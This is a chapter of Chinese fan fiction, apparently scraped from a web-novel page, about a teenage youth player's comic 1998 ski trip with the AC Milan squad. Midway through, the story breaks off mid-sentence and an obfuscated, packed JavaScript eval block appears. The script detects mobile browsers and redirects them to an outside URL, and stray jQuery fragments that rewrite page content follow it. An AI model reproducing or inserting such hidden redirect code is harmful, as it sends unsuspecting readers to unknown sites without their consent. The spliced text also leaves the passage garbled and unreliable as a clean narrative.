5. 第 5 章
作品:《[足球]意大利后卫该如何在西甲立足》 1998年的冬天,米兰城飘着细雪,圣西罗球场的霓虹灯在夜色中闪烁,映照着"我们是冠军"的巨幅海报
刚刚结束的意甲上半程,米兰以不败战绩领跑积分榜,但主教练扎切罗尼的脸上却看不到太多喜悦
“我们需要新鲜血液,“他在更衣室里踱步,“不是现在,是未来”他的目光扫过马尔蒂尼,“保罗,听说青训营有个小家伙...“
与此同时,米兰内洛青训基地的灯光还亮着,耶莱斯蹲在战术板前,用粉笔画出马竞的4-4-2阵型,十四岁少年的睫毛上结着霜,手里的笔记本记满了托雷斯的跑位
“该休息了,”马尔蒂尼的声音从门口传来,他穿着98年新款Moncler羽绒服,手里提着保温杯,“明天全队去滑雪,你也来”
耶莱斯抬起头,战术板上的粉笔灰簌簌落下。他想起上周在卡尔德隆球场的窘境,下意识摸了摸口袋里的战术板吊坠
第二天清晨,米兰全队的大巴驶向科尔蒂纳丹佩佐车载音响里放着Spice Girls的歌,加图索跟着节奏摇头晃脑,完全没注意到自己的Walkman耳机线缠住了因扎吉的围巾
“伙计们,”马尔蒂尼站在车头,手里晃着最新款的诺基亚手机,“忘记训练,忘记战术,今天我们要——”
“度假!”众人鬼哭狼嚎
“我们到了!“科斯塔库塔一手拿着滑雪板直接跳车,手里的滑雪板差点戳中加图索的鼻子
这位刚转会米兰的暴躁中场正用西西里方言咒骂着,手里拎着从青训营顺来的折叠椅
在他身后,米兰一线队的豪华中巴里陆续钻出十一道身影:门将罗西裹得像头北极熊,边走边抱怨手套太厚;副队长阿尔贝蒂尼正给安布罗西尼科普雪地生存法则;丹麦硬汉赫尔维格扛着三副雪橇,活像北欧神话里的霜巨人;克罗地亚中场博班优雅地叼着雪茄,仿佛来参加时装周;法国铁卫德塞利操着法式意大利语,试图向挪威新援萨拉解释"雪盲症"的严重性;锋线双煞乔治·维阿和奥利弗·比埃尔霍夫则用头球争抢着一顶毛线帽
“先生们,”马尔蒂尼敲了敲车顶,“谁能解释为什么十二个人的队伍只带了两副滑雪板?”
众人面面相觑,罗西举起戴着守门员手套的手:“我带了扑点球的手套!”赫尔维格晃了晃雪橇:“我以为是来参加冬季两项的”维阿露出招牌白牙:“非洲不下雪啊朋友!”
滑雪用品店里,老板看着鱼贯而入的米兰球星们,眼睛亮得像发现了金矿
“啊,冠军们!”他搓着手,“我们这里正好有最适合你们的装备——”
耶莱斯看着价签上那一串零,感觉比马竞球员的西班牙语还难懂,当他试图用手势解释价格太贵时,老板误以为他在讨价还价,又往上加了20%
“这是抢劫!”维阿举着一副滑雪板,“在米兰能买十副了!“
"但这里是滑雪胜地,"老板露出奸商的标准微笑,“而且...”他意味深长地看着马尔蒂尼,“你们也不想被《米兰体育报》拍到用劣质装备吧?”
最终,米兰全队含泪刷爆了信用卡,耶莱斯抱着新买的滑雪装备,感觉比防守托雷斯多还累
滑雪场上,马尔蒂尼优雅地滑出一道弧线,像在圣西罗球场带球突破,而他的队员们则像一群刚学会走路的企鹅,在雪地上东倒西歪
“救命!”博班的尖叫划破天际,他以一个完美的倒栽葱姿势扎进雪堆,只露出两条不停抽搐的腿
耶莱斯试图用战术思维分析滑雪技巧,结果画出的抛物线让他以更快的速度冲向护栏,千钧一发之际,他想起科斯塔库塔教的"国际通用手势",双手疯狂摆动试图保持平衡,却让场面更加滑稽,结果像只被拔了毛的雏鸟般滚下了山坡
阿尔贝蒂尼试图用长传脚法控制方向,结果雪杖戳进雪堆摔了个"倒挂金钩", 安布罗西模仿冰球运动员的急停,整个人在冰面上旋转着撞向护栏,博班追求优雅的蛇形走位,却像失控的陀螺般撞翻了三个雪人,维阿凭借百米冲刺的速度直冲而下,最后抱着雪松高喊"妈妈咪呀",比埃尔霍夫试图用头球技巧保持平衡,结果金发上堆起半米高的雪团,德塞利用法语咒骂着坡度,结果雪板卡进冰缝上演"一字马",萨拉被北极光分神,连人带板滑进了咖啡厅的露天座赫尔维格展示北欧血统,却在跳台飞起时吓得扔掉了雪杖,罗西用守门员扑救动作应对滑坡,结果在雪地上犁出五米长的人形坑,加图索边滑边吼叫壮胆,声波震落了松树上的积雪,因扎吉摆着最帅气的姿势冲下缓坡,却在镜头前摔了个狗吃屎;
就在这时,一群记者发现了马尔蒂尼
米兰队长优雅地讲述着冬歇期的计划,完全没注意到身后的"背景板"
首先是阿尔贝蒂尼,他像失控的雪地摩托一样呼啸而过,嘴里还喊着"让开让开",接着是维阿,他试图摆个帅气的pose,结果摔了个四脚朝天,博班雪茄掉进衣领,边滑边拍打后背冒出滚滚浓烟,德赛利扛着断裂的雪杖狂奔,仿佛在带球突破雪怪防线,比埃尔霍夫顶着一头"雪蘑菇",活像移动的圣诞树,最后是科斯塔库塔,他不知从哪找来一面米兰队旗,像披风一样系在脖子上,结果被旗子缠住滚成了雪球
耶莱斯本想优雅地滑过,却被博班的求救声分散了注意力,当他试图救援时,两人一起滚下了缓坡,像两个纠缠在一起的雪球
记者们的胶片相机疯狂闪烁,记录下这难得的一幕,马尔蒂尼强忍着笑意,继续回答关于冬歇期训练计划的问题,而他的队员们则在他身后上演着一出出闹剧
采访终于结束时,马尔蒂尼转身看到的场景让他哭笑不得:科斯塔库塔整个人倒栽在雪堆里,只有两条腿在空中乱蹬;耶莱斯正努力拽着他的脚,试图把他拔出来;而其他队员则
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15324994|167563||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
围成一圈,有的用最新款的柯达相机拍照,有的录像,还有的甚至开起了赌局——赌科斯塔库塔能在雪里憋多久
“你们这群没良心的!”科斯塔库塔的声音闷闷地从雪堆里传来,“等我出来,我要把你们的糗照全卖给《米兰体育报》!”
耶莱斯累得满头大汗,终于把科斯塔库塔拽了出来,两人一起摔在雪地上,喘着粗气
少年突然发现,科斯塔库塔的头发上结满了冰碴,像戴了一顶滑稽的冰冠
“嘿,小古董,”科斯塔库塔喘着气说,“你知道吗?你刚才救我的样子,比防守罗纳尔多还帅”
耶莱斯还没来得及回答,一个雪球就砸在了科斯塔库塔脸上,阿尔贝蒂尼的狂笑从远处传来:“让你刚才偷拍我摔跤!”
很快,雪球大战全面爆发,马尔蒂尼本想制止,却被维阿的雪球正中面门,他抹掉脸上的雪,露出一个罕见的顽皮笑容:“好吧,既然这样...”
米兰队长展现了他精准的脚法,雪球像制导导弹一样击中目标,耶莱斯躲在雪堆后,用战术板计算着投掷角度,却还是被马尔蒂尼的"弧线球"击中
马尔蒂尼展现电梯球绝技,雪球在空中划出诡异弧线,阿尔贝蒂尼用长传调度"弹药",组织起立体化攻势,安布罗西尼像推土机般筑起雪墙堡垒,博班优雅地投掷"香蕉球"雪,加图索抱着雪球冲锋,活像人形投石机,因扎吉鬼魅般绕后偷袭,专砸人后颈,德塞利高唱战歌鼓舞士气,结果被集火成雪人,维阿凭借速度发动闪电战,雪球连发堪比机枪扫射,比埃尔霍夫用头槌轰出"重炮雪弹",赫尔维格堆出北欧风格防御工事,萨拉负责用挪威民谣扰乱敌方心智,罗西扑救雪球时上演"世纪级侧扑",结果栽进雪堆只露出屁股
当夕阳染红雪山时,米兰全队精疲力尽地躺在雪地上,他们的衣服湿透了,脸上却洋溢着孩子般的笑容,耶莱斯望着粉色的天空,突然觉得,或许这就是家的感觉
“等等!”加图索突然诈尸般坐起,“我们是不是忘了什么东西?”
众人面面相觑,突然齐刷刷看向缆车方向——十二副全新的滑雪板正整整齐齐码在失物招领处,而老板早就带着钞票下山逍遥去了
回程的大巴上,耶莱斯枕着马尔蒂尼的肩膀沉睡,他的运动包里塞满雪水泡烂的纪念品,掌心还攥着那枚银色战术板吊坠,月光透过车窗洒在少年脸上,映出睫毛投下的细小阴影,像落在雪地上的松针
“下次去海边?”科斯塔库塔从前座探头。
“想都别想”马尔蒂尼把毛毯盖在耶莱斯身上,“除非你们先学会游泳”
大巴穿过阿尔卑斯山的隧道,车载广播突然响起《米兰米兰》的旋律,睡梦中的少年无意识地在教练肩头蹭了蹭,嘴角扬起温暖的弧度
在这个飘着松香的雪夜,十四岁的耶莱斯第一次梦见,风雪尽头有盏永远等待他的灯火